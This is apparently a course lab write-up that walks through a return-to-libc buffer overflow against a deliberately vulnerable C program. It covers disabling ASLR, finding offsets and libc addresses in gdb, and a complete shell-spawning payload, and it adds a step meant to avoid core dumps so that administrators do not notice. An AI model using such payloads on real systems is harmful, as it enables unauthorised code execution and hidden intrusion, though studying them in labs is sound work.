vulnerable.c

```
#include <stdio.h>

int main(int argc, char *argv[]){
    char buf[265];
    memcpy(buf, argv[1], strlen(argv[1]));
    printf(buf);
}
```

Ensure you've disabled ASLR `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`

Compile vulnerable.c `gcc -fno-stack-protector vulnerable.c -o vulnerable`

1. Pinpoint Return Address

Since this is a simple program we can use the following manual approach. Fire up gdb `gdb vulnerable`

Lets go ahead and overflow `buf`

```
(gdb) r `perl -e 'print "A"x269'`
```

Output:

```
Starting program: /home/amilkov3/Dropbox/CS6035/Project1/vulnerable `perl -e 'print
"A"x269'`
Program received signal SIGSEGV, Segmentation fault.
0xb7e2fa41 in __libc_start_main (main=0x804847d <main>, argc=2,
    argv=0xbffff034, init=0x80484d0 </__libc_csu_init>,
    fini=0x8048540 <__libc_csu_fini>, rtld_fini=0xb7fed180 <_dl_fini>,
    stack_end=0xbffff02c) at libc-start.c:274
274 libc-start.c: No such file or directory.
```

Keep adding A's until you fill the return address entirely with them like so:

```
(gdb) r `perl -e 'print "A"x272'`
```

```
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/amilkov3/Dropbox/CS6035/Project1/vulnerable `perl -e 'print
"A"x272'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
```

0x41414141 tells us we've filled the entire return address with the hexadecimal representation of A: 0x41. So essentially now we know we need 272 bytes to fill the return address. Let's get on to writing our shellcode

2. Return to libc syscall

Since we have a non-executable stack, we will still overwrite the return address except with one of the functions located in libc, passing to it the necessary arguments, and execute it. We bypass stack protection because these functions are not located on the stack

Before overflow
arguments (higher addresses)
saved return address (eip) 4 bytes
saved frame pointer (ebp) 4 bytes
... (buffer grows up in this direction)
buf[265] (lower addresses)
After overflow
'sh' address
dummy return addr : HACK
eip: system() address
ebp :AAAA (overwritten frame pointer)
buf[265]: 264 'A's

Already know we need 272 bytes to overwrite the return address so lets fire up gdb to find out the address of the libc `system()` call and an address for string 'sh': `gdb vulnerable`

```
(gdb) b main
Breakpoint 1 at 0x8048489: file vulnerable.c, line 5.
(gdb) r
Starting program:
/home/amilkov3/Dropbox/CS6035/Project1/Extraneous/vulnerable

Breakpoint 1, main (argc=1, argv=0xbffff124) at vulnerable.c:5
5       memcpy(buf, argv[1], strlen(argv[1]));
(gdb) p system
 = {} 0xb7e56190
(gdb) info files
Symbols from
"/home/amilkov3/Dropbox/CS6035/Project1/Extraneous/vulnerable".
Unix child process:
    Using the running image of child process 2713.
    While running this, GDB does not access memory from...
Local exec file:
    `/home/amilkov3/Dropbox/CS6035/Project1/Extraneous/vulnerable',
        file type elf32-i386.
```

```
    Entry point: 0x8048380
    0x08048154 - 0x08048167 is .interp
    0x08048168 - 0x08048188 is .note.ABI-tag
    0x08048188 - 0x080481ac is .note.gnu.build-id
    0x080481ac - 0x080481cc is .gnu.hash
    0x080481cc - 0x0804823c is .dynsym
    0x0804823c - 0x08048296 is .dynstr
    0x08048296 - 0x080482a4 is .gnu.version
    0x080482a4 - 0x080482c4 is .gnu.version_r
    0x080482c4 - 0x080482cc is .rel.dyn
    0x080482cc - 0x080482f4 is .rel.plt
    0x080482f4 - 0x08048317 is .init
    0x08048320 - 0x08048380 is .plt
    0x08048380 - 0x08048542 is .text
    0x08048544 - 0x08048558 is .fini
    0x08048558 - 0x08048560 is .rodata
    0x08048560 - 0x0804858c is .eh_frame_hdr
    0x0804858c - 0x0804863c is .eh_frame
    0x08049f08 - 0x08049f0c is .init_array
    0x08049f0c - 0x08049f10 is .fini_array
---Type  to continue, or q  to quit---
    0x08049f10 - 0x08049f14 is .jcr
    0x08049f14 - 0x08049ffc is .dynamic
    0x08049ffc - 0x0804a000 is .got
    0x0804a000 - 0x0804a020 is .got.plt
    0x0804a020 - 0x0804a028 is .data
    0x0804a028 - 0x0804a02c is .bss
    0xb7fde114 - 0xb7fde138 is .note.gnu.build-id in /lib/ld-linux.so.2
    0xb7fde138 - 0xb7fde1f8 is .hash in /lib/ld-linux.so.2
    0xb7fde1f8 - 0xb7fde2dc is .gnu.hash in /lib/ld-linux.so.2
    0xb7fde2dc - 0xb7fde4ac is .dynsym in /lib/ld-linux.so.2
    0xb7fde4ac - 0xb7fde642 is .dynstr in /lib/ld-linux.so.2
    0xb7fde642 - 0xb7fde67c is .gnu.version in /lib/ld-linux.so.2
    0xb7fde67c - 0xb7fde744 is .gnu.version_d in /lib/ld-linux.so.2
    0xb7fde744 - 0xb7fde7b4 is .rel.dyn in /lib/ld-linux.so.2
    0xb7fde7b4 - 0xb7fde7e4 is .rel.plt in /lib/ld-linux.so.2
    0xb7fde7f0 - 0xb7fde860 is .plt in /lib/ld-linux.so.2
    0xb7fde860 - 0xb7ff67ac is .text in /lib/ld-linux.so.2
    0xb7ff67c0 - 0xb7ffa7a0 is .rodata in /lib/ld-linux.so.2
    0xb7ffa7a0 - 0xb7ffae24 is .eh_frame_hdr in /lib/ld-linux.so.2
    0xb7ffae24 - 0xb7ffd71c is .eh_frame in /lib/ld-linux.so.2
    0xb7ffecc0 - 0xb7ffef34 is .data.rel.ro in /lib/ld-linux.so.2
    0xb7ffef34 - 0xb7ffefec is .dynamic in /lib/ld-linux.so.2
    0xb7ffefec - 0xb7ffeff8 is .got in /lib/ld-linux.so.2
---Type  to continue, or q  to quit---
    0xb7fff000 - 0xb7fff024 is .got.plt in /lib/ld-linux.so.2
    0xb7fff040 - 0xb7fff878 is .data in /lib/ld-linux.so.2
    0xb7fff878 - 0xb7fff938 is .bss in /lib/ld-linux.so.2
    0xb7e16174 - 0xb7e16198 is .note.gnu.build-id in
/lib/i386-linux-gnu/libc.so.6
    0xb7e16198 - 0xb7e161b8 is .note.ABI-tag in
```

```
/lib/i386-linux-gnu/libc.so.6
    0xb7e161b8 - 0xb7e19ec8 is .gnu.hash in /lib/i386-linux-gnu/libc.so.6
    0xb7e19ec8 - 0xb7e23438 is .dynsym in /lib/i386-linux-gnu/libc.so.6
    0xb7e23438 - 0xb7e2915e is .dynstr in /lib/i386-linux-gnu/libc.so.6
    0xb7e2915e - 0xb7e2a40c is .gnu.version in
/lib/i386-linux-gnu/libc.so.6
    0xb7e2a40c - 0xb7e2a898 is .gnu.version_d in
/lib/i386-linux-gnu/libc.so.6
    0xb7e2a898 - 0xb7e2a8d8 is .gnu.version_r in
/lib/i386-linux-gnu/libc.so.6
    0xb7e2a8d8 - 0xb7e2d2e8 is .rel.dyn in /lib/i386-linux-gnu/libc.so.6
    0xb7e2d2e8 - 0xb7e2d348 is .rel.plt in /lib/i386-linux-gnu/libc.so.6
    0xb7e2d350 - 0xb7e2d420 is .plt in /lib/i386-linux-gnu/libc.so.6
    0xb7e2d420 - 0xb7f5eb6e is .text in /lib/i386-linux-gnu/libc.so.6
    0xb7f5eb70 - 0xb7f5fafb is __libc_freeres_fn in
/lib/i386-linux-gnu/libc.so.6
    0xb7f5fb00 - 0xb7f5fcfe is __libc_thread_freeres_fn in
/lib/i386-linux-g---Type  to continue, or q  to quit---
nu/libc.so.6
    0xb7f5fd00 - 0xb7f81754 is .rodata in /lib/i386-linux-gnu/libc.so.6
    0xb7f81754 - 0xb7f81767 is .interp in /lib/i386-linux-gnu/libc.so.6
    0xb7f81768 - 0xb7f88c0c is .eh_frame_hdr in
/lib/i386-linux-gnu/libc.so.6
    0xb7f88c0c - 0xb7fb9f68 is .eh_frame in /lib/i386-linux-gnu/libc.so.6
    0xb7fb9f68 - 0xb7fba3c6 is .gcc_except_table in
/lib/i386-linux-gnu/libc.so.6
    0xb7fba3c8 - 0xb7fbd928 is .hash in /lib/i386-linux-gnu/libc.so.6
    0xb7fbe1d4 - 0xb7fbe1dc is .tdata in /lib/i386-linux-gnu/libc.so.6
    0xb7fbe1dc - 0xb7fbe220 is .tbss in /lib/i386-linux-gnu/libc.so.6
    0xb7fbe1dc - 0xb7fbe1e8 is .init_array in
/lib/i386-linux-gnu/libc.so.6
    0xb7fbe1e8 - 0xb7fbe260 is __libc_subfreeres in
/lib/i386-linux-gnu/libc.so.6
    0xb7fbe260 - 0xb7fbe264 is __libc_atexit in
/lib/i386-linux-gnu/libc.so.6
    0xb7fbe264 - 0xb7fbe274 is __libc_thread_subfreeres in
/lib/i386-linux-gnu/libc.so.6
    0xb7fbe280 - 0xb7fbfda8 is .data.rel.ro in
/lib/i386-linux-gnu/libc.so.6
    0xb7fbfda8 - 0xb7fbfe98 is .dynamic in /lib/i386-linux-gnu/libc.so.6
    0xb7fbfe98 - 0xb7fbfff4 is .got in /lib/i386-linux-gnu/libc.so.6
    0xb7fc0000 - 0xb7fc003c is .got.plt in /lib/i386-linux-gnu/libc.so.6
---Type  to continue, or q  to quit---
    0xb7fc0040 - 0xb7fc0ebc is .data in /lib/i386-linux-gnu/libc.so.6
    0xb7fc0ec0 - 0xb7fc3a7c is .bss in /lib/i386-linux-gnu/libc.so.6
(gdb) find 0xb7f5fd00,0xb7f81754,"sh"
0xb7f740f5
0xb7f745c1
0xb7f76a29
0xb7f7898e
4 patterns found.
```

```
(gdb) x/s 0xb7f740f5
0xb7f740f5 :   "sh"
```

The addresses in bold are the ones we are interested in. Namely on this example machine:

0xb7e56190 is the address of system()

0xb7f740f5 is the address of 'sh'

3. Writing the exploit

All we need to do now is append these 2 addresses to the end of our string of A's in order to essentially call `system('sh')` and spawn a shell

Here's what little math we need:

- Smashing EIP: 272 - 4 = 268 'A's needed
- Append system() (4 bytes) -> "\x90\x61\xe5\xb7"
- Append dummy return address (4 bytes) -> "HACK" in this example
- Append 'sh' (4 bytes) -> "\xf5\x40\xf7\xb7"

On the command line:

```
comp-name # ./vulnerable `perl -e 'print "A"x268 .
"\x90\x61\xe5\xb7HACK\xf5\x40\xf7\xb7"'`
```

Verify that you spawned the shell. On my VM it looks like so:

```
amilkov3@amilkov3-VirtualBox:~/Dropbox/CS6035/Project1/Extraneous$ ./vulnerable
`perl -e 'print "A"x268 . "\x90\x61\xe5\xb7HACK\xf5\x40\xf7\xb7"'`
$ whoami
amilkov3
$ exit
Segmentation fault (core dumped)
amilkov3@amilkov3-VirtualBox:~/Dropbox/CS6035/Project1/Extraneous$
```

4. Exiting cleanly

Notice how when we tried to exit above we got a segmentation fault. This core dump will be logged and an administrator will be able to tell you exploited a binary. In order to remain stealthy we will change the return address of HACK to the libc address of exit() or in the case of our Ubuntu VM: _exit. Here's how we find that address:

Go ahead and run vulnerable in gdb again: `gdb vulnerable`

```

```

```
(gdb) b main
Breakpoint 1 at 0x8048489: file vulnerable.c, line 5.
(gdb) r
Starting program:
/home/amilkov3/Dropbox/CS6035/Project1/Extraneous/vulnerable

Breakpoint 1, main (argc=1, argv=0xbffff124) at vulnerable.c:5
5       memcpy(buf, argv[1], strlen(argv[1]));
(gdb) p _exit
 = {} 0xb7ecbbc4
```

And now lets run our exploit

```
comp-name # ./vulnerable `perl -e 'print "A"x268 .
"\x90\x61\xe5\xb7\xc4\xbb\xec\xb7\xf5\x40\xf7\xb7"'`
```

And verify we've spawned our shell and managed to exited cleanly:

```
amilkov3@amilkov3-VirtualBox:~/Dropbox/CS6035/Project1/Extraneous$ ./vulnerable
`perl -e 'print "A"x268 . "\x90\x61\xe5\xb7\xc4\xbb\xec\xb7\xf5\x40\xf7\xb7"'`
$ whoami
amilkov3
$ exit
amilkov3@amilkov3-VirtualBox:~/Dropbox/CS6035/Project1/Extraneous$
```

Voila!